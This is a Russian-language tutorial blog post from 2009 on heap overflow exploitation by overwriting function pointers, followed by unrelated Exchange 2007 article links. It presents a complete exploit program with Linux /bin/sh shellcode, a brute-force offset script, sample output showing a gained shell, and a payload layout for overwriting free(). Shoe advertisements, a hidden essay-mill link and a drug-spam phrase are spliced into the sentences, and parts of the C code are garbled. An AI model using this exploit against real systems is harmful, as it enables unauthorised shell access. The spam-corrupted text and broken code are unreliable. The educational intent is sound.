Как работают эксплоиты на основе heap overflow
Published on Апрель 23, 2009 by Support · Комментариев нет
1. Почему была написана статья. chaussures ugg pour femme 2. Описание ошибки. 3. Уязвимая программа (пример и exploit для неё) 4. Реальный пример эксплоита. 1. Большое количество эксплоитов было зарелизено в последнее время. Некоторые из них основаны на технологии перезаписи указателя функции(function pointer), позволяющей выполнить шеллкод на стеке или куче. Вот самые известные из последних эксплоитов, использующие данную технологию: 7350fun, Apache-scalp, openssl-too-open, sshut-up-theo, sshchan. Тысячи серверов по всему миру были взломаны. В большинстве случаев эти эксплоиты использовались так называемымиsсriptkiddie`s, которые не имеют представления о том, как они работают и что делают. В связи с этим я попытаюсь рассказать о технике перезаписи указателя функции в деталях. Итак, оставайтесь со мной до конца статьи и, я надеюсь, когда вы закроете свой «вьювер» =) вы станете просвящены в данном вопросе. 2. Лучший способ разобраться в проблеме — рассмотреть пример уязвимой программы. Давайте взглянем на следующий код:
#include <stdio.h> #include <string.h> main() { unsigned long difference; char *buffer1,*buffer2; *buffer1 = (char *)malloc(16) *buffer2 = (char *)malloc(16); difference = (unsigned long)buffer2 - (unsigned long)buffer1; memset(buffer2, 'A', 15), buffer2[15] = '\0'; memset(buffer1, 'B', (unsigned int)(difference + 8)); }
После компиляции и выполнения наши буферы будут содержать следующее: До переполнения:
После:
Buffer1 «вылез» за свою границу в пространство зарезервированное для buffer2 на 8 байт. Это позволяет нам, используя перезапись некоторого указателя, выполнить шеллкод. Посмотрите на следующий код: expl.c
#include <stdio.h> #include <string.h> int function(const char *argument); int main(int argc, char **argv) { static char buf[128]; static int (*funcptr)(const char *argument); if (argc <= 2) { fprintf(stderr, "Usage: %s [buffer] [function argument]\n", argv[0]); exit(1); funcptr = (int (*)(const char *argument))function; memset(buf, 0, sizeof(buf)); strncpy(buf, argv, strlen(argv)); (void)(*funcptr)(argv); return 0; int function(const char *argument) { printf("\nArgument is: %s\n", argument); return 0;
Разберемся, что он делает. Получает 2 аргумента. Первый аргумент — строка вызывающая переполнение, второй — будет запускать нашу функцию. adidas gazelle Наша функция будет выводить на экран. Как мы можем «эксплуатировать» это ? Очень просто. Используем первую строку, которая может быть произвольно большой длины для перезаписи указателя функции и заставляем его указывать на шеллкод, расположенный в «куче». Конечно, мы можем разместить наш шеллкод в первом аргументе программы, подобно классическому buffer overflow, но тогда сложнее получить адрес возврата, да и многие системы сегодня уже не имеют выполнимого стека. К примеру, я использую StackGuard для защиты своей системы от такого нападения. Теперь приступим к написанию эксплоита. 3. Посмотрите внимательнее на expl.c, на дозволенный размер буфера.
Итак, под буфер отводится 128 байт. Легко заметить, в моем первом примере, что вылезая за границы буфера в место, отведенное под heap-переменную, можно перезаписать указатель функции на адрес нашего шеллкода. Получается что-то вроде этого:
{AAAAAAAA...AAAAAAAAAAAAA {shellcode address {NULL byte 128 bytes of crap 4 bytes long 1 byte
Видно, что длина буфера эксплоита должна быть 128+4+1 байт.
char buf[128 + sizeof(unsigned long) + 1];
Тогда верхний адрес будет определен так:
sysaddr = (unsigned long)sbrk(0)
Будем вычитать пока не сорвем джек-пот ;) :
sysaddr = (unsigned long)sbrk(0) - atoi(argv);
Если размер шеллкода превышает размер нашего буфера — тогда на выход:
if (128 + 4 + 1 < strlen(shellcode))exit(1);
Если всё ОК, поместим наш шеллкод в буфер:
После шеллкода добавим мусора… ugg femme france Это будет последовательность ААА.. , также определим NULL'евой байт, который выступает в роли завершителя строки:
memset(buf + strlen(shellcode), 'A',128 - strlen(shellcode) + <div style="display: none"><a href='http://write-my-essay-for-mee.com/' title='write my paper'>write my paper</a></div>sizeof(unsigned long)); buf[128 + sizeof(unsigned long)] = '\0';
Теперь в конец «разрешенных» 128 байт, запишем адрес возврата шеллкода, задом-наперед, не забыв про то, что работаем с linux, который использует формат little endian. adidas stan smith Pas Cher
for (i = 0; i < sizeof(sysaddr); i++) buf[128 + i] = ((unsigned long)sysaddr >> (i * 8)) & 255;
Например, если адрес — 0xffff5467, то запишем — 6754ffff. Далее, передаем наш шеллкод, как аргумент функции. Когда указатель функции будет перезаписан нашим буфером, shellcode будет выполнен.
execl("./expl","expl", buf, shellcode, NULL);
Объединим все сказанное в небольшую программу: go.c
#include <stdio.h> #include <string.h> char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; main(int argc, char **argv) { register int i; unsigned long sysaddr; char buf[128 + sizeof(unsigned long) + 1]; if (argc <= 1) { printf("\nUsage: %s [offset]\n", argv[0]); exit(1); sysaddr = (unsigned long)sbrk(0) - atoi(argv); if (128 + 4 + 1 < strlen(shellcode)) exit(1); strcpy(buf, shellcode); memset(buf + strlen(shellcode), 'A',128 - strlen(shellcode) + sizeof(unsigned long)); buf[128 + sizeof(unsigned long)] = '\0'; for (i = 0; i < sizeof(sysaddr); i++) buf[128 + i] = ((unsigned long)sysaddr >> (i * 8)) & 255; execl("./expl","expl", buf, shellcode, NULL); return 0; }
Для того, чтобы получить шелл, вы должны выполнить exploit с параметром offset. Таким образом ./go [offset] . Я создал маленький скрипт, делающий это для вас. Назовите его sсript.
#!/bin/bash i=0 while [ $i -lt 1000 ]; do i=`expr $i + 1` ./go $i echo $i done
Выполните его:
root@localhost~# shsсript .......... <a href="http://www.universal-limousine.fr/">ugg soldes</a> sh-2.5#
Мы получили шелл! Надеюсь вы поняли основную идею данной уязвимости, которая широко распространена в реальной жизни. 4. Здесь я рассмотрю пример перезаписи указателя функции free(), конкретно то, что встречается в реальных условиях. Это точно такая же техника, на которой построены эксплоиты foros sobre compra de viagra для openssh-2.9* for freebsd и openssl apache exploit. Смотрим: Для понимания того, что будет написано далее, необходимо знать как работает функция free(). Объяснение её работы выходит за рамки данной статьи, читайте MAN`ы. Вот подходящий для «эксплуатации» код:
#include <stdio.h> #define BUFSIZE 56 int main(int argc, char **argv) { char *buf1, *buf2; if(argc == 1) { printf("\nUsage: %s [string].\n",argv[0]); return(0); } buf1 = (char *) malloc(BUFSIZE); buf2 = (char *) malloc(BUFSIZE); strcpy(buf2,"AAAAAAAAAAAAAAAA"); strcpy(buf1, argv); printf("\n%s\n", buf1); free(buf2); free(buf1); return(0); }
Длина buf2 крайне важна, bufsize1=length(buf2). Также вы видите, если строка более 56 символов, разрешенных для аргумента, то она перезапишет часть buf2. Мы должны заменить первые 8 байт, для того, чтобы «эксплуатировать» эту программу по стандартной схеме:
[BUFSIZE bytes of shit] [previous size of buf2(предыдущий размер buf2)] [size of buf2(размер buf2)] [8 bytes of crap] [ptr safe 4 bytes] [ptr safe 4 bytes] [ptr to overwrite lоcation - bufsize1 -4(указатель на перезаписываемую область)] [return addy(адрес возврата)] [jump ahead bufsize1-4(прыжок вперед на bufsize1-4 байт)] [bufsize1-4 bytes of crap] [shellcode of your choice(шеллкод на ваш выбор)] ptr to overwrite lоcation - адрес функции free(), его можно узнать
так:
objdump -R vulnerable_program_binary | grep free
Адрес возврата — адрес шеллкода, обычно можно узнать брутфорсом.
Смотрите также:
Exchange 2007
Если вы хотите прочитать предыдущие части этой серии статей, перейдите по ссылкам:
Проведение мониторинга Exchange 2007 с помощью диспетчера System ...
[+]
Введение
В этой статье из нескольких частей я хочу показать вам процесс, который недавно использовал для перехода с существующей среды Exchange 2003 ...
[+]
Если вы пропустили первую часть этой серии, пожалуйста, прочтите ее по ссылке Использование инструмента Exchange Server Remote Connectivity Analyzer Tool (Часть ...
[+]
Если вы пропустили предыдущую часть этой серии статей, перейдите по ссылке Мониторинг Exchange 2007 с помощью диспетчера System Center Operations ...
[+]
Если вы пропустили предыдущие части этой серии статей, перейдите по ссылкам:
Подробное рассмотрение подготовки Active Directory для Exchange 2007 (часть 1)
...
[+]
If you missed the previous parts in this article series please read:
Exchange 2007 Install and Configuration from the command line (Part ...
[+]
Инструмент ExRCA
Текущий выпуск инструмента предоставляется только в целях тестирования и оснащен 5 опциями:
Тест подключения Outlook 2007 Autodiscover
Тест подключения Outlook 2003 RPC ...
[+]
Если вы хотите прочитать предыдущие части этой серии статей, перейдите по ссылкам:
Развертывание сервера Exchange 2007 Edge Transport (часть 1)
Развертывание ...
[+]
Если вы пропустили первую статью данного цикла, пожалуйста, перейдите по ссылке: Exchange 2007 Install and Configuration from the command line (Part ...
[+]
Если вы пропустили предыдущую часть этой серии статей, перейдите по ссылке Использование интегрированных сценариев Using Exchange Server 2007 – часть ...
[+]